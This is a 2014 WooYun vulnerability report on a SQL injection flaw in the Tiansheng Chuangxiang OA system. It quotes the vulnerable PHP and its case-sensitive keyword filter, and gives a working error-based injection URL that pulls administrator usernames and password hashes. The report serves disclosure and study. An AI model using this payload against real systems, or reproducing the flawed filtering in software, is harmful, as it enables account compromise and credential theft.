当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(11) 关注此漏洞

缺陷编号: WooYun-2014-51208

漏洞标题: 天生创想OA系统SQL注入漏洞分析+官网演示

相关厂商: cncert国家互联网应急中心

漏洞作者: 飞扬风

提交时间: 2014-02-19 22:15

公开时间: 2014-05-18 22:16

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 sql注射漏洞利用技巧 php源码分析

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-19: 细节已通知厂商并且等待厂商处理中
2014-02-22: 厂商已经确认,细节仅向厂商公开
2014-02-25: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-04-18: 细节向核心白帽子及相关领域专家公开
2014-04-28: 细节向普通白帽子公开
2014-05-08: 细节向实习白帽子公开
2014-05-18: 细节向公众公开

简要描述:

天生创想OA系统SQL注入漏洞分析+官网演示

详细说明:

天生创想OA V2014

QQ截图20140216153659.jpg



/administrative/mod_conference.php,84-94行处

code 区域
elseif ($do == 'keys') {

$id = getGP('id','G');
$type = getGP('type','G');
$db->query("update ".DB_TABLEPRE."conference set type='".$type."' where id=".$id." ");
$content=$id;
$title='审批会议内容';
get_logadd($id,$content,$title,19,$_USER->id);
show_msg('会议信息审批成功!', 'admin.php?ac='.$ac.'&fileurl='.$fileurl.'');

}



$id通过getGP()函数获得,这个函数在/include/function_global.php,293-307行处

code 区域
//获取$_GET或$_POST值
function getGP($var, $method = 'GP', $type = 'string') {
if ($method == 'G' || $method != 'P' && isset($_GET[$var])) {
$gp = &$_GET;
} else {
$gp = &$_POST;
}
if ($type == 'int') {
return isset($gp[$var]) ? intval($gp[$var]) : 0;
} elseif ($type == 'array') {
return isset($gp[$var]) ? (array)getsql($gp[$var]) : array();
} else {
return isset($gp[$var]) ? (string)trim(getsql($gp[$var])) : '';
}
}



可以看出来最后是通过getsql()函数获得,在/include/function_global.php,278-291行处

code 区域
function getsql($str){
$str=str_replace('select','',$str);
$str=str_replace('join','',$str);
$str=str_replace('union','',$str);
$str=str_replace('where ','',$str);
$str=str_replace('insert','',$str);
$str=str_replace('delete','',$str);
$str=str_replace('and ','',$str);
$str=str_replace('drop','',$str);
$str=str_replace('create','',$str);
$str=str_replace('script','',$str);
$str=str_replace('alert','',$str);
return $str;
}



明显发现过滤的很薄弱,过滤之前没有做大小写转换,只过滤了小写的单词,稍微变换下就可以绕过。

利用方法:登陆一个普通帐户,访问如下页面

code 区域
http://网站地址/admin.php?ac=conference&fileurl=administrative&do=keys&id=(Select 1 from (Select count(*),concat((Select concat(username,0x3a,password) from po_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&type=2



就可以得到管理员帐号及密码的密文

漏洞证明:

官网演示http://**.**.**.**/

PS:官网将所有表前面加了前缀“p”

QQ截图20140217190117.jpg



QQ截图20140216201739.jpg

修复方案:

过滤函数太薄弱了~~~

版权声明:转载请注明来源 飞扬风@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-02-22 11:49

厂商回复:

CNVD确认所述案例以及机理分析情况,对该OA进行了特征提取,不过时间关系暂未得到其他实例情况,暂不对通用性进行确认(CMS软件在部署时有较大差异,或许实例上就不一定有漏洞)。如果白帽子后续有实例,也可以进一步联系提交。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-02-17 22:53 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2299 漏洞数:351 | 呵呵!)
    0

    为毛我提交的getshell没有给cncert呢?

  2. 2014-02-18 09:57 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    0

    要登录的吧?那价值就没那么高了

  3. 2014-02-18 10:12 | 飞扬风 ( 普通白帽子 | Rank:528 漏洞数:129 | 追求安全,热爱技术)
    0

    @wefgod 确实是这样

  4. 2014-02-18 10:16 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2299 漏洞数:351 | 呵呵!)
    0

    @飞扬风 @wefgod 这样子,当时找了一个没人管就没看ta了

登录后才能发表评论,请先 登录